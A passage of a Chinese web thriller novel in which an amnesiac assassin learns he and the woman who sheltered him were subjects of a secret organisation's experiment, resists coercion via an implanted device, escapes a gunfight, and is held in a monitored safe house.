“看来,记忆清除程序的效果,比预想的还要成功一些。”他像是在自言自语,又像是在对我们解释,“不过没关系,刺激之下,总会想起点什么的,不是吗,‘寒霜’七号?”
他看向周玲,语气甚至带上了一丝“赞赏”:“至于你,周玲小姐。你的善良,你的同情心,你对这个‘可怜’陌生人不设防的接纳和照顾……这一切,都是最完美的‘载体’培育温床。我们需要一个绝对纯净、情绪稳定,并且能引发‘寒霜’潜在保护欲和情感波动的宿主,来观察‘记忆印记’和‘杀戮本能’在情感冲击下的融合与冲突。而你,表现得无比出色。”
他轻轻鼓掌,那掌声在寂静的实验室里显得格外刺耳。
“你……你们……”周玲浑身剧烈地颤抖起来,眼泪瞬间涌出,不是因为害怕,而是因为一种被彻底利用、信仰崩塌的巨大羞辱和愤怒,“你们从一开始……就是在利用我?韩冰的失忆……他受伤……都是你们安排的?!”
“安排?”王主管挑了挑眉,“不完全是。那场导致他失忆的‘意外’,确实有‘勋’的参与,算是一次……计划外的碰撞。不过,结果却歪打正着,为我们提供了绝佳的实验契机。我们将计就计,把他送到你身边,观察他在失去记忆,仅凭本能和逐渐复苏的情感驱动下,会如何行动。”
他指了指周围那些闪烁的屏幕:“你们在他昏迷期间,在他体内植入的,可不仅仅是那个小小的追踪和……嗯,‘激励装置’。还有更精密的生命体征和神经信号监测器。你们相处的每一个瞬间,他的每一次心跳加速,每一次下意识的保护动作,甚至……”他意味深长地看了一眼我依旧隐隐作痛的腹部,“……每一次杀戮本能的苏醒,都化作了宝贵的数据,呈现在这里。”
我感觉到一股寒意从脚底直冲天灵盖!我就像一个被装了无数传感器的实验动物,从被周玲“救起”的那一刻起,就活在一场精心编排的**秀里!而我所有的挣扎,所有的痛苦,所有对周玲产生的真实情感,都成了冰冷的实验数据!
“混蛋!”我怒吼一声。
“我劝你不要冲动,七号。”王主管似乎毫不在意我的杀意,他轻轻点了点控制台。瞬间,我体内那股因愤怒而加剧的、低频震动般的不适感陡然变得强烈!仿佛有什么东西在我身体深处被激活,蠢蠢欲动!
与此同时,实验室角落一个不起眼的扬声器里,传出了冷艳那经过处理、带着戏谑的电子音:
“啧啧,这就受不了了?‘寒霜’。别忘了,你的小命,还有你身边这位‘最佳配角’的命,可都捏在王博士手里呢。主控终端就在这里,但解除指令嘛……就看王博士的心情了。”
冷艳也在!她通过监控看着这里!
王主管推了推眼镜,接过话头:“没错。那个**,或者说‘纳米级生物激励单元’,确实可以远程……终止你的生命体征。但更重要的是,它连接着你的中枢神经。我可以让它模拟极乐,也可以让它带来远超你想象极限的痛苦。”他的目光扫过周玲,“当然,也可以让它……波及到靠近你的,生命磁场相近的个体。”
周玲惊恐地后退了一步,下意识地捂住了自己的胸口。
威胁,赤裸裸的威胁!
我强行压下几乎要炸裂的怒火和杀意,牙齿咬得咯咯作响。我必须冷静!现在撕破脸,我和周玲立刻就会死!
“你们……到底想干什么?”我从牙缝里挤出这句话。
“想干什么?”王主管站起身,走到那排闪烁着我和周玲各种生理数据的屏幕前,眼神狂热,“我们在创造未来!‘清道夫’那群蠢货,只想把你们打造成冰冷的杀戮工具。而我们‘创世纪’……我们要创造的是拥有最顶级杀戮技巧,同时又能完美融入人类社会,甚至能产生、利用并超越情感的……终极兵器!”
创世纪!又一个陌生的名字!这不是“勋”!这是一个隐藏在“勋”背后,或者说与“勋”有合作,但目标更加疯狂的组织!
“你的失忆,不是意外,而是一次精密的‘格式化’和‘再编程’尝试。周玲小姐,就是为你准备的全新‘情感操作系统’的测试环境。”王主管转过身,张开双臂,仿佛在展示一件伟大的艺术品,“观察一个顶尖**,在纯白的情感染缸里,如何重新认知世界,如何被爱、被依赖、被保护欲所驱动,甚至……为了守护而主动重拾杀戮!这过程,这数据,太美妙了!这将帮助我们完善最终的‘情感-杀戮’融合协议!”
疯子!彻头彻尾的疯子!
他们不是在训练**,他们是在**人性,制造怪物!
而我,就是他们目前最“成功”的实验品!
“所以……
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林振涛的任务……”我猛地想到了这一点。
“啊,那个。”王主管无所谓地摆了摆手,“一个最终压力测试而已。看看你在情感牵绊和死亡威胁的双重压力下,能否突破极限,完成‘不可能的任务’。同时,也能借此清理掉组织一个不太听话的外部合作者,一箭双雕。可惜,被‘勋’那些莽夫搅和了一下。”
一切都清楚了。
从失忆到被救,从与周玲的相遇到被迫执行任务,甚至体内的**和所谓的“勋”的追杀……全都是这个“创世纪”组织一手导演的戏码!我和周玲,都只是他们实验盘上的棋子!
巨大的无力感和被彻底愚弄的愤怒,几乎要将我吞噬。我感觉自己像一个被剥光了衣服、钉在解剖台上的小丑,所有的挣扎和情感,都成了供人观测的笑话。
周玲已经泣不成声,她靠着冰冷的墙壁滑坐到地上,双手捂住脸,肩膀剧烈地耸动着。她救了我,照顾我,信任我,甚至可能……爱上我,而这一切,竟然都是一场利用,一场实验!
我看着她的样子,心脏像是被一只冰冷的手紧紧攥住,痛得无法呼吸。
王主管似乎很享受我们此刻的痛苦和绝望。他走回控制台,手指在键盘上敲击了几下。
屏幕上,那个代表我体内**的绿色光点,闪烁得更加疯狂,几乎连成了一道令人心悸的光束!旁边的倒计时数字,跳动的速度似乎也加快了一丝!
47:58:19
47:58:18
……
“好了,叙旧时间结束。”王主管的声音恢复了那种令人厌恶的平和,“实验数据收集已接近尾声。现在,进行最后一步,情感峰值压力测试。”
他按下了控制台上的一个红色按钮。
实验室一侧的墙壁突然无声地滑开,露出了后面一个透明的隔离舱。舱内,站着两个穿着黑色作战服、手持电击棍和束缚工具的壮汉,他们的眼神空洞,如同没有感情的机器。
而他们的目标,是瘫坐在地上、毫无反抗能力的周玲。
“不……不要!”周玲惊恐地向后缩去。
“你们敢!”我瞬间目眦欲裂,抢口对准那王主管。
“你可以开枪。”王主管毫不在意地指了指自己的胸口,又指了指屏幕上的倒计时和疯狂闪烁的绿点,“但**飞出枪口的下一秒,你们两位,就会一起……化为灰烬。或者,你想试试神经灼烧的滋味?那感觉,足以让最硬的硬汉变成一滩只会流口水的烂泥。”
我的手指僵在**上,扣不下去,也松不开。巨大的无力感如同沼泽,将我死死困住。
那两个壮汉已经走出了隔离舱,面无表情地朝着周玲逼近。
周玲绝望地看着我,眼泪如同断线的珠子。
王主管的声音如同恶魔的低语,在我耳边响起:
“选择吧,‘寒霜’七号。”
“是看着你的‘载体’在你面前被折磨,激发你最大的痛苦和愤怒?”
“还是……为了她,跪下来,祈求我,展现出你极致的卑微和……爱?”
第二十二章 **的抉择
时间,仿佛被王博士指尖那个红色按钮按下了暂停键,又在下一秒被拉长成无尽的折磨。
47:55:03
屏幕上冰冷的数字,像嘲讽的眼睛。体内那因情绪剧烈波动而愈发清晰的、低频震动般的不适感,如同跗骨之蛆,提醒着我致命的威胁。
跪下?祈求?
这两个词像烧红的烙铁,烫在我的尊严和“寒霜”本能之上。我经历过死亡,面对过绝境,但从未受过如此的羞辱!
“不……韩冰!不要!别管我!”周玲瘫坐在地上,泪流满面,却用尽力气对我嘶喊,她宁愿承受折磨,也不愿看到我为了她向这个恶魔低头。
王博士推了推眼镜,脸上带着一种近乎神圣的狂热,观察着我的每一个细微的表情,每一丝肌肉的抽搐,仿佛在记录最珍贵的数据。“情感与尊严的冲突,保护欲与自我意识的撕裂……完美!太完美了!记录下来!峰值要出现了!”
他的声音因为兴奋而微微颤抖。
其中一个壮汉已经伸手,粗糙的手掌即将触碰到周玲纤细的胳膊。
周玲绝望地闭上了眼睛,身体因恐惧而蜷缩。
那一刻,我脑中闪过无数画面。周玲在阳光下晾晒衣服的背影,她捧着热粥时关切的眼神,她因为我一个笨拙的安慰而破涕为笑的脸庞,她在修船厂黑暗中紧紧抓住我衣角的手……
还有……那些混乱记忆碎片里,无尽的黑暗、冰冷的杀戮、以及……仿佛永远无法填补的空洞。
“寒霜”的世界,只有任务和生存。
而“韩冰”的世界,因为有了她,才有了一缕光。
为了这缕光……
我,做出了选择。
“住手!”
我的声音沙哑吼了一声。
抢从我手中滑落,“哐当”一声,掉在冰冷光滑的金属地板上。
王博士的眼睛猛地亮起,像是看到了最精彩的剧目高潮。那两个壮汉的动作也停顿下来,空洞的目光转向我。
周玲猛地睁开眼,难以置信地看着我,嘴唇颤抖着,却发不出任何声音。
在全场目光的注视下,我,这个代号“寒霜”的顶尖**,这个双手沾满血腥、在黑暗世界令人闻风丧胆的存在,缓缓地……
弯曲了我的膝盖。
金属地板冰冷的触感透过布料传来。
最终,双膝触及地面。
我,跪在了王博士面前。
低着头,看不到他的表情,只能看到他擦得锃亮的皮鞋尖和洁白的实验袍下摆。
实验室里一片死寂。只有仪器运行的嗡嗡声和那规律的滴答声,衬托着这**到极致的沉默。
我能感觉到周玲那边传来的、压抑到极致的啜泣声。
也能感觉到,王博士那几乎要实体化的、满足的叹息。
“说。”他居高临下,声音带着掌控一切的愉悦。
我抬起头,目光平静地看向他,里面所有的愤怒、杀意、痛苦都被强行压下,只剩下一种近乎空洞的服从。我用一种自己都感到陌生的、干涩的嗓音开口:
“我祈求你……放过她。”
每一个字,都像裹着玻璃碎渣,从喉咙里艰难地碾过。
王博士没有说话,他只是静静地看着我,仿佛在品味这至高无上的胜利果实。几秒钟后,他才慢悠悠地开口,声音带着一种施舍般的怜悯:
“很有趣。‘爱’这种情绪,果然能创造出最不可思议的……卑微。”
他挥了挥手。
那两个壮汉放开了周玲,沉默地退回到了隔离舱内,舱门缓缓关闭。
周玲瘫软在地,只是无声地流着泪,目光复杂地看着跪在地上的我,那眼神里有心痛,有愧疚,还有一种……无法言说的悲伤。
王博士踱步到我面前,弯腰,仔细端详着我的脸,像在欣赏一件完美的艺术品。
“数据采集,情感屈服模块,完成度百分之九十八。超出预期。”他像是在做实验记录,然后直起身,语气变得公事公办,“那么,进行最后一项——指令覆盖测试。”
他转身走向主控终端,手指在键盘上快速敲击。
“鉴于你表现出的……高度‘合作’态度,我将给你一个机会,七号。”他头也不回地说,“放弃你那些无谓的个人情感和所谓的‘韩冰’身份,重新完全接纳‘寒霜’的指令核心。成为‘创世纪’完美的作品。那么,我不仅会解除你体内的‘激励单元’,还会让你和你的‘载体’,获得……相对的自由。”
相对的自由?依旧是牢笼!
他要在摧毁我的尊严后,进一步抹杀我刚刚复苏的人性!将“韩冰”彻底从这具躯壳里清除,只留下绝对服从的“寒霜”!
屏幕上,数据流开始疯狂滚动。那代表着“寒霜”指令核心的程序模块被激活,发出幽蓝色的光芒。一股强烈的、带着强制性意味的精神冲击,开始试图撬开我意识的大门!
熟悉的冰冷感开始从全身蔓延,试图冻结我的情感,覆盖我的意志。“寒霜”的本能在咆哮,诱惑我放弃思考,放弃痛苦,回归那简单纯粹的杀戮与服从。
不!
我猛地咬破了自己的舌尖!尖锐的痛疼瞬间刺激着我几乎要沉沦的意识!
我不能放弃!周玲还在看着我!那个会因为我浇花而微笑的韩冰,不能就这么消失!
我死死抵抗着那如同潮水般涌来的冰冷指令,额头青筋暴起,汗水瞬间浸湿了我的后背。跪在地上的双腿因为用力而微微颤抖。
王博士看着屏幕上剧烈波动的脑波数据和顽强抵抗的指标,眉头微微蹙起,似乎有些意外
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我的抵抗强度。
“意志力残留比预估高出百分之七。”他冷静地分析着,手指再次敲击键盘,加大了指令输出的强度,“启动辅助压制程序。”
实验室顶部的几个发射器亮起了微弱的红光。
一股更强的、带着眩晕和精神剥离感的能量场笼罩了我!仿佛有无数根无形的针,扎进我的大脑,搅动着我的记忆和思维!
“呃啊——!”
我再也无法抑制,发出一声痛苦的嘶吼,双手抱住头颅,身体剧烈地痉挛起来!眼前的景象开始模糊、旋转……
“韩冰!”周玲看到我的痛苦,挣扎着想要爬过来,却被无形的力场阻挡在外,只能徒劳地拍打着空气,哭喊着我的名字。
她的声音,像遥远海岸线上最后的灯塔之光,在意识即将被黑暗吞噬的狂风中,微弱,却执着地闪烁着。
韩冰……
周玲……
那些温暖的,平凡的,属于“人”的记忆碎片,如同最后的救命稻草,在我即将崩溃的意识中紧紧抓住……
……
就在我感觉自己即将被那冰冷的程序彻底吞噬的瞬间
“轰!!!”
一声沉闷的、巨大的**声,猛地从实验室上方传来!整个地下空间都为之剧烈一震!头顶的灯光疯狂闪烁,仪器屏幕瞬间黑了一大片!那令人窒息的精神压制力场也出现了短暂的紊乱和削弱!
王博士脸色骤变,猛地看向监控屏幕:只见代表酒店上层区域的几个监控画面已经变成了雪花,另外几个则显示着混乱奔跑的人影和……穿着与阿杰手下类似黑色作战服、正在激烈交火的身影!
“敌袭!是‘清道夫’!”冷艳那失去了电子伪装、带着惊怒的声音从某个隐藏的扬声器中尖利响起,“他们找到这里了!突破了上层防御!”
阿杰!他们竟然在这个时候,强行攻了进来!
机会!
趁着力场紊乱、王博士分神的这千钧一发之际,我眼中最后一丝属于“韩冰”的清明如同回光返照般爆发出惊人的力量!
我猛地从地上一跃而起,扑向了离我最近、正因为**而一时失神的王博士!
“你……!”王博士惊骇地想要后退操作控制台。
但太迟了!
我布满血丝的眼睛死死盯着他,沾着血迹的嘴角扯出一个狰狞的、混合着**、愤怒和决绝的弧度,用尽全身的力气,将所有的意志灌注在一声咆哮中,不是对王博士,而是对那台主控终端,对那个疯狂闪烁的绿色光点,对我体内那个该死的“纳米级生物激励单元”——
“要么一起活!要么——”
我的拳头,带着呼啸的风声,狠狠砸向主控终端的屏幕!同时,那咆哮声响彻整个实验室:
“一起死!!!”
第二十三章 混乱求生
“轰——!”
拳头与强化玻璃屏幕猛烈撞击,发出的却不是清脆的碎裂声,那是一种沉闷的、带着电路短路特有的“噼啪”炸响!蛛网般的裂痕瞬间布满屏幕,后面那些疯狂滚动的数据流和那个催命符般的绿色光点猛地一滞,随即在剧烈闪烁了几下后,瞬间熄灭!
几乎在同一时刻,我体内那股如影随形的不适感和低频震动,像是被猛地掐断了源头,瞬间消失!取而代之的是一种奇异的、仿佛某个一直紧绷的弦突然松开的虚脱感。
**……失效了?
“不!!我的数据!我的终端!”王博士发出如同被刺中心脏般的凄厉尖叫,他眼睁睁看着主控终端屏幕黑下去,脸上的狂热和从容被彻底击碎,只剩下崩溃和难以置信。
“砰!砰!砰!”
实验室上方的交火声更加激烈密集,还夹杂着**的轰鸣和建筑构件掉落的声音。“清道夫”的进攻异常猛烈,显然是有备而来,决心要彻底端掉这个据点。
“博士!防线顶不住了!必须立刻撤离!”冷艳的声音从扬声器里传来,带着明显的焦急和恐慌,早已没了之前的戏谑。
整个实验室警报声响起,红色的应急灯旋转闪烁,将每个人的脸映照得如同鬼魅。
机会!千载难逢的机会!
终端被毁,体内威胁暂时解除,外部强敌攻入,敌人阵脚大乱!
我没有任何犹豫,在王博士还处于崩溃状态,那两个壮汉刚刚从力场紊乱中恢复、试图再次冲过来时,我已经如同猎豹般俯身抄起地上掉落的**,看也不看,反手就是两枪!
“砰!砰!”
**精准地打在两个壮汉前方的地面上,溅起一串火星,逼得他们动作停止。
我没有恋战,我的目标只有一个:周玲!
我猛地冲向瘫坐在地、被眼前一连串变故惊呆的周玲,一把将她从地上拉起来。
“快走!”
周玲几乎是本能地靠在我身上,她的身体还在发抖,但求生的欲望让她努力跟上我的步伐。
“拦住他们!不能让他们带走实验体!”王博士回过神来,状若疯狂地指着我们吼道,他自己则扑向那台冒着黑烟的主控终端,试图抢救什么。
那两个壮汉再次悍不畏死地冲上来。
“走这边!”周玲突然指着一个刚才壮汉出来的隔离舱侧面,那里有一个不起眼的、标有“紧急疏散”标志的小门,刚才混乱中似乎被震开了一条缝!
来不及多想!我护着周玲,一脚踹开那扇小门,里面是一条狭窄的、向上延伸的应急楼梯!
我们一头钻了进去,身后传来王博士气急败坏的吼声和壮汉追赶的脚步声。
“砰!”我回手对着门框开了一枪,打在金属上发出巨响,暂时阻碍了追兵。
楼梯里没有灯,只有应急灯微弱的光芒。我们沿着楼梯拼命向上狂奔,身后是紧追不舍的脚步声和越来越近的交火声。
不知道爬了多少层,前方出现一扇厚重的防火门。我用力推开,外面赫然是酒店地下车库的角落!空气中弥漫着硝烟和灰尘,远处传来清晰的**和喊叫。
“清道夫”的人已经打到了这里!
我们必须趁乱离开!
我拉着周玲,借助车辆的掩护,快速向车库出口移动。不时有流弹击中旁边的车辆,发出刺耳的警报声。
就在我们即将接近出口时,侧面突然冲出一名穿着酒店保安制服、眼神却异常凶狠的男人,他举着枪,显然不是普通保安!
“砰!”
我抢先开火,**击中他的肩膀,他惨叫一声倒地。
但**也暴露了我们的位置!
“在那边!”有人喊道,接着是更加密集的**扫射过来!
我们被火力压制在一辆商务车后面,无法动弹。
“韩冰……”周玲紧紧靠着我,声音带着绝望。
我迅速的检查了一下弹匣,只剩三发**。
就在这时,车库入口方向突然传来一阵更猛烈的交火,接着,一个熟悉的身影带着几名黑衣武装人员,如同尖刀般插了进来,精准地清理着我们侧面的敌人。
是阿杰!
他看到了我们,目光在我脸上停留了一瞬,似乎有些意外我还活着,并且摆脱了控制。但他没有多说,只是打了个手势,示意我们跟他走。
“跟上!”我对周玲低喝一声,利
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用阿杰他们制造的火力掩护,猛地从车后冲出,向出口狂奔。
阿杰的人且战且退,护着我们冲出了车库,来到了酒店后巷。
外面已是傍晚,天色昏暗。后巷里一片狼藉,躺着几具尸体,有酒店保安打扮的,也有穿着黑色作战服的。
“上车!”阿杰指向停在巷口的一辆没有任何标识的黑色厢式货车。
我们刚跑到车边,突然——
“咻——砰!”
一枚**几乎是擦着我的头皮飞过,打在我旁边的墙壁上,留下一个深深的弹孔!
“小心!”阿杰一把将我和周玲推倒在地,他的一名手下则闷哼一声,肩膀爆出一团血花,倒了下去。
“两点钟方向!楼顶!”阿杰冷静地报出位置,他带来的**立刻开始还击。
趁着双方抢手对狙的间隙,我们连滚爬爬地钻进了货车车厢。
阿杰最后一个上来,猛地拉上车门。
“开车!”
货车引擎发出一声低吼,猛地窜了出去,轮胎摩擦地面发出刺耳的声音。
车厢内,我和周玲瘫坐在冰冷的地板上,大口喘着气,彼此都能听到对方剧烈的心跳声。外面依旧有零星的**传来,但逐渐远去。
我们……暂时逃出来了。
我看着周玲惊魂未定的脸,她也在看着我,劫后余生的庆幸和之前的**、恐惧交织在一起,让她的眼神无比复杂。
阿杰坐在我们对面的简易座位上,擦了一下脸颊被流弹划伤的血痕,目光平静地看着我,又看了看我依旧紧握着的枪。
“看来,‘渔夫’的剧本,被你彻底撕毁了,‘寒霜’。”他淡淡地开口,“或者说,我该继续叫你韩冰?”
我没有回答,只是疲惫地靠在车厢壁上,感受着体内那消失的威胁和重新涌上的、如同潮水般的虚弱感。
王博士,冷艳,“创世纪”……这些名字和背后的阴谋,如同沉重的枷锁。
**的威胁暂时解除,但我和周玲,真的自由了吗?
阿杰的出现,是救援,还是……新一轮控制的开始?
货车在夜幕初垂的城市街道上疾驰,驶向未知的、依旧布满迷雾的前方。
第二十四章 短暂的喘息
货车在城市的脉络中穿梭,窗外的霓虹灯化作一道道模糊的光带,映照在周玲依旧苍白的脸上。
她靠在我身边,身体因为之前的惊吓和狂奔而微微发抖,一只手无意识地紧紧攥着我的衣角,仿佛那是她与这个疯狂世界唯一的连接点。
我任由她抓着,另一只手则紧紧握着那把仅剩三发**的**,枪口对着车厢地板,目光警惕地扫过坐在对面的阿杰和他仅存的两名手下。他们同样沉默,脸上带着激战后的疲惫和惯有的冷漠。
没有人说话。车厢里只有引擎的轰鸣和轮胎压过路面的噪音,气氛压抑得令人窒息。
体内那股曾经如影随形的不适感和低频震动彻底消失了,这让我在疲惫中感到一丝久违的、近乎虚幻的轻松。
王博士那台主控终端被我砸毁,似乎真的暂时解除了那个“纳米级生物激励单元”的威胁。
阿杰为什么会突然出现?真的是为了救我们?还是如王博士所说,“清道夫”与“创世纪”只是理念不同的竞争对手,他们的目标同样是掌控我?
我看向阿杰,他正闭目养神,侧脸在昏暗的光线下显得轮廓分明,看不出任何情绪。这个男人,如同深海,表面平静,内里却可能潜藏着致命的暗流。
似乎是察觉到我的目光,阿杰缓缓睁开眼,目光平静地迎上我的视线。
“用不着如此戒备,韩冰。”他开口,“至少现在,我们的目标一致的——让你活下去,并且,不让‘创世纪’得到他们想要的数据和……你。”
“让我活下去?”我扯了扯嘴角,带着一丝讥讽,“是为了继续完成那个刺杀林振涛的任务?还是为了把我带回去,重新‘格式化’,变成你们想要的‘寒霜’?”
阿杰没有直接回答,而是看了一眼我身边因为我们的对话而再次紧张起来的周玲,语气平淡:“林振涛的任务已经终止。组织评估认为,在‘创世纪’介入后,该任务已无执行必要,且风险过高。”
任务终止了?这倒是个出乎意料的消息。但并未让我感到多少轻松。
“至于你……”阿杰的目光重新落回我脸上,带着一种审视,“你的表现……超出了数据库的预测模型。尤其是在情感驱动下的应激反应和……对指令的抗性。这很有趣。组织认为,你有更高的……研究价值。”
研究价值。这个词让我心底一寒。听起来比“工具”好不了多少。
“所以,我还是你们的财产,只是用途可能变了,对吗?”我冷冷地问。
阿杰不置可否,转移了话题:“当务之急,是确保你们的安全,并处理你体内那个虽然失效但依旧存在的‘单元’。王博士虽然是个疯子,但他的技术不容小觑。那个装置留在你体内,始终是个隐患。”
他说的有道理。就算暂时失效,谁知道“创世纪”或者“勋”有没有后手能重新激活它?
“你能处理?”
“组织有相关的医疗资源和专家。”阿杰点头,“但需要时间安排,并且需要一个绝对安全的地点。”
这时,货车缓缓减速,最终停在了一条僻静的后街。这里看起来像是某个老旧的居民区边缘,周围灯光昏暗,行人稀少。
“这里暂时安全。”阿杰示意我们下车,“我们有一个安全屋在这里,你们可以先休息,处理一下伤口。其他的,明天再说。”
一名手下率先下车警戒,另一名则打开了车厢后门。
我扶着周玲下了车,夜风带着凉意,让她打了个寒颤。我脱下身上那件沾满灰尘和汗渍的夹克,披在她肩上。
阿杰看了我们一眼,没有说什么,率先走向路边一栋不起眼的六层居民楼。我们跟在他身后,进入了楼道。
安全屋在三楼,门是厚重的防盗门,里面陈设简单,有基本的家具,独立的卫生间,甚至还有个小厨房。
“这里有基本的医疗用品,食物和水。”阿杰指了指角落的一个柜子,“你们自便。我会在外面安排人手。没有我的允许,不要离开这个房间。”
他的语气带着不容置疑的命令。说完,他便带着两名手下离开了,关上了房门。外面传来落锁的声音。
我们被软禁了。
但至少,暂时脱离了枪林弹雨和那些疯狂的科学家。
房间里只剩下我和周玲。她终于再也支撑不住,虚脱般地坐在沙发上,双手捂住脸,肩膀轻轻耸动,压抑的哭声在寂静的房间里显得格外清晰。
我没有打扰她,只是走到窗边,撩开窗帘一角,警惕地观察着楼下的街道。一切平静,但那辆黑色货车还停在原地,如同沉默的监视者。
过了好一会儿,周玲的哭声渐渐平息。她抬起头,眼睛红肿,脸上还带着泪痕,但眼神已经不再像之前那样充满恐惧,而是多了一丝……坚韧。
“韩冰……”她轻声叫我。
我走到她身边坐下。“嗯。”
“我们……我们接下来怎么办?”声音还带着哭过后的沙哑问我。
“先休息。”我说,拿起阿杰留下的医疗包,找出碘伏和纱布,“处理一下伤口,吃点东西。你需要恢复体力。”
我帮她清理了手腕和脚踝上被捆绑留下的淤青和擦伤,动作尽可能的轻柔。她安静地看着我,没有说话,但眼神里的依赖和信任,让我感到一种沉甸甸的责任。
然后,我走到厨房,烧了点热水,泡了两碗柜子里的杯面。热腾腾的食物下肚,带来一丝微不足道的暖意和踏实感。
我们默默地吃着面,谁也没有再提起酒店地下实验室里那令人绝望和
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**的一幕,也没有讨论阿杰和“组织”的意图。此刻,这短暂的、虚假的平静,显得如此珍贵。
吃完东西,周玲的精神似乎好了一些。她看着我,犹豫了一下,还是问我:“韩冰……在实验室里,王博士说的……‘载体’……还有你的记忆……”
我放下手中的空纸杯,沉默了片刻。那些被强行塞入脑中的信息,那些关于实验、关于利用的冰冷真相,如同毒刺,扎在心上。
“他们利用了你。”我选择了一个相对简单的解释,避开了那些关于杀戮本能和情感测试的更黑暗的部分,“利用你的善良,来观察我……一个失忆**的行为模式。我们两个,都是他们的实验品。”
周玲的嘴唇颤抖了一下,但这次她没有哭出来,只是用力地点了点头,仿佛在消化这个残酷的事实。
“对不起……”她低下头,声音哽咽,“如果不是我……”
“不关你的事。”我打断她,“是我把你卷进来的。从一开始,我就是个麻烦。”
她抬起头,看着我,摇了摇头,眼神复杂:“可是……如果没有我,你可能……可能早就……”她没有说下去,但意思很明显。如果没有她这个“载体”,我可能早就被“创世纪”彻底改造,或者死在某个任务中了。
我无法反驳。这段畸形的关系,这场残酷的实验,阴差阳错地,确实让我保留了更多“韩冰”的部分。
“都过去了。”我最终只是说道,结束了这个话题,“现在重要的是活下去。”
周玲看着我,没有再追问。她似乎明白,有些伤口,需要时间才能触碰。
夜色渐深。我将唯一的卧室让给了周玲,自己则在客厅的沙发上和衣而卧。枪就放在手边不远的地方。
躺在坚硬的沙发上,我却没有丝毫睡意。体内那颗“**”的威胁暂时解除,但王博士疯狂的眼神,冷艳讥诮的声音,阿杰深不可测的态度,还有周玲那双充满信任和悲伤的眼睛……如同走马灯般在脑中回放。
我抬起手,习惯性地摸向耳垂。粗糙的触感传来。
这个动作,到底代表着什么?是“寒霜”的印记,还是属于“韩冰”的,连记忆清除都无法完全抹去的……本能?
窗外的城市依旧在运转,霓虹闪烁,车流不息。这个世界看似正常,但其下隐藏的黑暗与疯狂,远超普通人的想象。
而我,身处这黑暗漩涡的中心。
阿杰所谓的“研究价值”和“安全”,不过是另一重精致的牢笼。
我必须想办法,带着周玲,真正地逃离。在她被卷入更深,在我被彻底吞噬之前。
但路在何方?
我看着窗外沉沉的夜色,眼中闪过一丝冰冷的决定。
无论如何,不能再坐以待毙。
第二十五章 囚徒与暗流
清晨的第一缕光线,透过没有拉严的窗帘缝隙,像一把迟钝的刀,割开了安全屋内的昏暗。
我几乎是立刻就睁开了眼睛,身体在沙发上保持着一个看似放松、实则随时可以暴起的姿势。
客厅里很安静,只有周玲在卧室里均匀而轻微的呼吸声,以及……窗外偶尔早起的车辆驶过的声音。
还有,那极其细微的、几乎与背景噪音融为一体的、来自门外的气息——至少有两个人在看守。
我轻轻起身,没有发出任何声响,走到窗边,再次确认了楼下的情况。那辆黑色货车已经不见了,但街角多了一辆不起眼的灰色轿车,车窗贴着深色的膜。
我们依旧是囚徒,只是牢笼稍微舒适了一点。
我走到厨房,动作放得很轻,烧水,从柜子里拿出新的杯面。热水的蒸汽氤氲开来,暂时驱散了空气中那股属于“安全屋”的、消毒水混合着尘埃的冰冷气息。
“韩冰?”
卧室的门被轻轻推开,周玲走了出来。她看起来休息得并不好,眼下有着淡淡的青黑,脸色依旧有些苍白,但眼神比昨天明亮了许多,也……坚定了一些。她换上了安全屋里准备的干净衣物,普通的运动装,显得有些宽大。
“嗯,醒了?吃点东西。”我将泡好的面推到她面前。
她默默地接过,小口小口地吃着,目光却不时地扫过房门和窗户,带着显而易见的紧张。
“我们……要一直待在这里吗?”她终于忍不住,压低声音问道。
“不会。”
她抬起头看着我,似乎在分辨我话里的决心。“可是……外面有人守着。阿杰他们……”
“阿杰有他的目的。”我打断她,声音平静,“他需要我们,至少暂时需要。但这不代表我们会任他摆布。”
我走到客厅的角落,那里放着一个老式的木质书架,上面零星摆着几本带着灰尘,看起来像是装饰品的书。
周玲有些困惑地看着我的举动。
很快,我的指尖在书架最高一层,一本厚厚词典的书脊与隔板连接的缝隙里,触碰到了一个极其微小、几乎与木头颜色融为一体的、纽扣大小的硬物。
**。
我收回手,不动声色地对周玲摇了摇头,食指轻轻抵在唇边。
周玲瞬间明白了我的意思,脸上闪过一丝惊惧,随即用力点了点头,紧紧闭上了嘴巴,连吃面的动作都变得更加轻微。
这个发现并不意外。阿杰这样的人,不可能不对我们进行监控。
我坐回沙发,拿起另一碗泡面,故意用正常,甚至略带一丝烦躁的音量说道:“吃完再休息会儿吧,折腾了一晚上,累**。反正现在外面也不安全,这里至少能睡个安稳觉。”
这话是说给**后面的人听的。
周玲很聪明,立刻配合地点点头,小声说:“嗯……我还有点困。”
我们默默地吃完早餐,然后我示意周玲回卧室继续休息,自己则留在客厅,靠在沙发上,闭着眼睛,仿佛真的在补眠。
但我的大脑在飞速运转。
**的存在,证实了阿杰并非完全信任我们,或者说,他需要持续监控我们的状态和对话。这更坚定了我必须尽快离开的决心。
但如何离开?硬闯?外面至少有两个经过专业训练、全副武装的看守,成功率太低,而且会彻底撕破脸,引来组织无休止的追杀。
需要计划。需要时机。
阿杰提到要处理我体内的“单元”,这或许是一个机会。医疗操作,转移地点,过程中必然会出现漏洞和可乘之机。
但前提是,我必须确保周玲的安全,并且……搞清楚阿杰或者说“组织”真正的意图。“研究价值”这个词,像一根刺扎在我心里。他们到底想从我身上得到什么?仅仅是观察一个失控的“寒霜”如何与情感共存吗?还是有更深层的目的?
还有“创世纪”……王博士虽然暂时失败了,但他的组织绝不会善罢甘休。他们投入了如此多的资源在我这个“实验体”上,不可能轻易放弃。
我和周玲,就像暴风眼中的一叶小舟,看似暂时平静,实则被多方势力觊觎和包围。
时间一分一秒过去。安全屋内安静得可怕,只有墙上挂钟秒针走动的“滴答”声,规律得令人心焦。
周玲在卧室里没有动静,不知道是睡着了,还是在独自消化这巨大的压力和恐惧。
我闭着眼,耳朵却捕捉着门外的一切细微声响——守卫偶尔调整站姿时衣料的摩擦声,极低频率的、通过骨传导耳机进行的短暂交流的电流杂音……
他们在换班。大约每四小时一次。很规律。
中午时分,门外传来钥匙开锁的声音。
我立刻睁开眼,手无声地摸向了沙发垫下的**。
门被推开,进来的不是阿杰,而是昨天他身边的一个手下,手里提着两个印着某快餐店logo的纸袋。
“午饭。”他将纸袋放在门口的鞋柜上,语气没有任何起伏,目光锐利地扫了我和从卧室闻声出来的周玲一眼,确认我们都在且没有异常举动后,便退了出去,重新锁上了门。
送饭,是另一个观察我们的机会。
我和周玲走过去,拿起纸袋。里面是简单的汉堡和薯条。
“先吃点吧。”我对周玲说。
